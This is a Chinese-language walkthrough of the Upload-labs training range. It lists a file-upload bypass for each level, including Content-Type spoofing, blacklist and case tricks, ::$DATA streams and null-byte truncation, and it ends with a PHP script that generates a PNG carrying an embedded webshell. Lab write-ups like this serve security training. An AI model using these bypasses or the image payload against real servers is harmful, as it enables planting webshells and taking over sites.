龙空技术网

渗透测试文件上传通关练习之Upload-labs

一个三分球 91

前言:

现时兄弟们对“phpswfupload”大概比较珍视,我们都需要剖析一些“phpswfupload”的相关内容。那么小编在网络上收集了一些对于“phpswfupload””的相关文章,希望大家能喜欢,你们快快来了解一下吧!

这是一个专门练习文件上传的靶场,和sqli-labs靶场类似。

github项目地址:

虽然不能把文件解析漏洞录入,但也是不错的平台,感兴趣的可以自己配置环境+手动改源码。

分享几个技巧,希望可以帮助兄弟们练习靶场。

less1:对文件后缀名进行了检查

用BP抓包,上传个php文件,发现直接在客户端反应了,

说明过滤代码在客户端,用firebug查看,找到了checkfile函数;在这里修改即可!也可以先上传jpg文件,然后在bp抓包后修改文件为PHP的后缀名。

less2:只对 content-type进行了检查

查看源码:

($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')

BP抓包改文件类型;

Content-Type: application/octet-stream

改为: Content-Type: image/png

less3:提示:不允许上传.asp,.aspx,.php,.jsp后缀文件! //黑名单绕过

可以上传其他类型的文件: .phtml .phps .php5 .pht 等。

提交php文件,改后缀名jpg绕过。

less4:同上题。 .htaccess 后缀名并没有过滤

黑名单有点长: array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4", ".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp", ".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx", ".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf")

less5:大小写绕过。这题过滤了.htaccess

array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3", ".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa", ".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx", ".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

less6:空格绕过 abc.php空格

这题并没有去除空格: $file_ext = trim($file_ext); //首尾去空

less7:这题没有尾部去点。同6绕过 , abc.php .

加上了去空格,少了尾部取点。

$file_name = deldot($file_name);//删除文件名末尾的点

less8:::$DATA绕过

a.php::$DATA

相比第七题,缺少去除字符串:$DATA

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。

备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA。

仅windows下可用;

在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,

不会检测后缀名.且保持"::$DATA"之前的文件名。

less9:通过点空格点绕过。

在bp使用cookie.php. .绕过。

less10:双写绕过

使用替换函数,移除黑名单: (针对非windows系统)

$file_name = str_ireplace($deny_ext,"", $file_name);

less11:0x00截断 GET型

php版本低于5.3.29magic_quotes_gpc = OFF

从源码里可以看到一个GET型传参 save_path

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

less12:0X00截断

原理同11题,改为POST型传参

less13:

使用图片木马! copy 1.jpg/b+1.txt 2.jpg

通过其他文件包含漏洞进一步利用。

less14:同13题

使用了getimagesize函数;

$info = getimagesize($filename); 结果是数组

list($width,height,$type,$attr) = $info; /*list() 是可以定义多个变量的*/

echo "宽度为:".$width;

echo "高度为:".$height;

echo "类型为:".$type;

echo "属性为:".$attr;

less15: 需要打开 php_exif

php内置函数库-用于处理图片:

Exif 函数

exif_imagetype — 判断一个图像的类型

exif_read_data — 从 JPEG 或 TIFF 文件中读取 EXIF 头信息

exif_tagname — 获取指定索引的头名称

exif_thumbnail — 取得嵌入在 TIFF 或 JPEG 图像中的缩略图

read_exif_data — 别名 exif_read_data

同13题,生成图片码上传;

less16: 二次渲染

PNG图片码:

<?php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,

0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,

0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,

0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,

0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,

0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,

0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,

0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {

$r = $p[$y];

$g = $p[$y+1];

$b = $p[$y+2];

$color = imagecolorallocate($img, $r, $g, $b);

imagesetpixel($img, round($y / 3), 0, $color);

}

imagepng($img,'./1.png');

?>

在本地生成1.png的图片码。

GIF:

在文件渲染后,没有变化的文本里写入一句话木马。

标签: #phpswfupload #applicationoctetstream 抓包